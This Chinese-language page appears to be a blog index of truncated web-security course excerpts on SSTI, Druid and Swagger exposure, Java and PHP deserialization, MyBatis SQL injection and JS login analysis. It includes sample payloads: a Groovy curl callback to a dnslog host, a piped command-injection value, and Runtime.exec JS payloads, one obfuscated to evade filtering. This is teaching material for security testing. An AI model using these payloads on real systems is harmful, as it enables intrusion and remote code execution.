知识点Python 安全 - SSTI 注入 - 类型 & 形成 & 利用 & 项目
转载:https://www.suyou.world/index.php/2024/01/22/%E7%AC%AC70%E5%A4%A9%EF%BC%9Aweb%E6%94%BB%E9%98%B2-python%E5%AE%89%E5%85%A8ssti%E6%A8%A1%E7%89%88%E6%B3%A8%E5%85%A5jinja2%E5%BC%95%E6%93%8E%E5%88%A9%E7%94%A8%E7%BB%95%E8%BF%87%E9%A1%B9%E7%9B%AE/
演示案例Python-SSTI 注入 - 类型 & 形成 & 利用 & 项目什么是 SSTI
SSTI(Server Side Template Injection,服务器端模板注入)服务端接收攻击者的输入,将其作为 Web 应用模板内容的一部分
在进行目标编译渲染的过程中,进行了语句的拼接,执行了所插入的恶意内容
从而导致信息泄露、代码执行、GetShell 等问题,其影响范 ...
Java安全-Druid监控-未授权访问&信息泄漏Druid是阿里巴巴数据库事业部出品,为监控而生的数据库连接池。Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控。当开发者配置不当时就可能造成未授权访问漏洞。
黑盒发现参考:https://cloud.tencent.com/developer/article/1771986
攻击点:直接拼接URL路径,尝试能否直接未授权访问系统功能点。结合泄露URL路径和Session信息,利用BurpSuite进行尝试登录。利用Cookie编辑器替换Session,再次访问后台路径尝试进入后台
白盒发现在项目源码配置文件中搜索druid关键字
Java安全-Swagger接口-导入&联动批量测试Swagger是一个用于生成、描述和调用RESTful接口的Web服务。就是将项目中所有(想要暴露的)接口展现在页面上,并可以进行接口调用和测试的服务。所以可以对这个接口进行漏洞测试,看是否存在未授权访问、sql注入、文件上传等漏洞。由于接口太多,一个个接口测试的话太费时间,所以一般会采用自 ...
Java 安全 - 反序列化 - 原生序列化类函数简介
序列化是将 Java 对象转换成字节流的过程。而反序列化是将字节流转换成 Java 对象的过程
java 序列化的数据一般会以标记 (ac ed 00 05) 开头,base64 编码的特征为 rO0AB (面试可能会问到,记住即可)
JAVA 常见的序列化和反序列化的方法有 JAVA 原生序列化和 JSON 类(fastjson、jackson)序列化等。
发现
黑盒发现(流量捕获,简介中第二条)
白盒发现(特征类接口函数,下面的函数类)
原生序列化类函数:
SnakeYaml:完整的 YAML1.1 规范 Processor,支持 Java 对象的序列化 / 反序列化
XMLDecoder:xml 语言格式序列化类函数接口
ObjectInputStream.readObject ():任何类如果想要序列化必须实现 java.io.Serializable 接口
利用项目基于 - ObjectInputStream.readObject () 的利用工具
Yakit: https://yaklang.com ...
执行命令,得到输出结果。
RuntimeExec
GroovyExec
1"curl bt3509.dnslog.cn".execute()
ProcessImpl
ProcessBuilder
1127.0.0.1 | calc
ScriptEngineManager
首先将payload保存到一个可以远程访问的js文件中:
1234var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("calc")};var a = mainOutput(); function mainOutput() { var x=java.lang.\/****\/Runtime.getRuntime().exec("calc");}
总结
主要是来熟悉触发 java 的 RCE 的几个类和函数,后期发现和审计漏洞的时候直接搜相关类和函数即可
检测:(大部分白 ...
两个靶场的搭建:就是配置好一下数据库,重新打包一下,然后将sql文件导入之后就行
123#两个靶场的项目地址:https://github.com/bewhale/JavaSechttps://github.com/j3ers3/Hello-Java-Sec
SQL注入JDBC
右边的代码,对应的是这种写法的安全模式,如果你非要使用变量的方式,需要有黑或者白名单进行过滤
Mybatis
12345678910mybatis支持两种参数符号,一种是#,另外一种是$,#使用预编译,$使用拼接sql。1、order by注入:由于使用#{}会将对象转换成字符串,形成order by "user" desc 造成错误。因此很多研发会采用:${}来解决问题。从而造成注入。2、like注入:模糊搜索时,直接使用'%#{q}'会报错,部分研发图方便直接改成'%${q}%'从而造成注入3、in注入:in之后多个id查询的时候使用 # 同样会报错,从而造成注入示例:@Sel ...
针对 JS 开发应用
密码登录枚举爆破,参数提交漏洞检测
密码和参数需要加密后进行提交
泄漏 URL 有更多测试
前置知识1234567891011121、作用域:(本地&全局)简单来说就是运行后相关的数据值2、调用堆栈:(由下到上)简单来说就是代码的执行逻辑顺序3、常见分析调试:这四种方法针对不同对象(搜索一般用来对付简单的,复杂点的就得用断点了)-代码全局搜索-文件流程断点(执行的代码经过哪些文件)-代码标签断点-XHR提交断点
代码全局搜索
在网站刷新的时候,找到关键的数据包(这个需要根据经验)如上图,然后将其路径进行复制:
123Vip/LoginResultctrl+shift+F进行搜索
这里对这里有一个logindata,从名称来看就是对登陆数据进行处理的。所以这里跟进这函数
所以再去源代码中进行搜索:
所以这里我们在控制台的时候也要先创建一个对象,然后才可以调用他。
文件流程断点:审查元素抓网络请求包发起程序
调用堆栈的代码处理逻辑是从下往上看,我们重点关注Login部分,猜测这个部分应该就是数据加密到提交的过程。点击右侧的js地址, ...
PHPGGC
项目地址:https://github.com/ambionics/phpggc
搭建:Linux 直接下载下来后./phpggc -h 查看使用方法即可,比较简单
介绍:
PHPGGC 是一个包含 unserialize () 有效载荷的库以及一个从命令行或以编程方式生成它们的工具。当在您没有代码的网站上遇到反序列化时,或者只是在尝试构建漏洞时,此工具允许您生成有效负载,而无需执行查找小工具并将它们组合的繁琐步骤。 它可以看作是 frohoff 的 ysoserial 的等价物,但是对于 PHP。目前该工具支持的小工具链包括:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、ThinkPHP、Slim、SwiftMailer、Symfony、Wordpress、Yii 和 ZendFramework 等。
在 ctf 及其他利用框架反序列化漏洞时,自己编写 poc 耗时太久,额,其实可以说自己写不出来 poc,太过复杂,这里就需要我们用到工具
环境搭建需要 ...
不同属性的演示12345678910111213<?phpheader("Content-type: text/html; charset=utf-8");//public private protected说明class test{ public $name="xiaodi"; private $age="29"; protected $sex="man";}$a=new test();$a=serialize($a);print_r($a);var_dump(unserialize($a));?>
1234567891011121、对象变量属性:public(公共的) 在本类内部、外部类、子类都可以访问protect(受保护的) 只有本类或子类或父类中可以访问private(私人的) 只有本类内部可以使用 2、序列化数据显示:public属性序列化的时候格式是正常成员名private属性序列化的时候格式是%00 类名 %00 成员名protec ...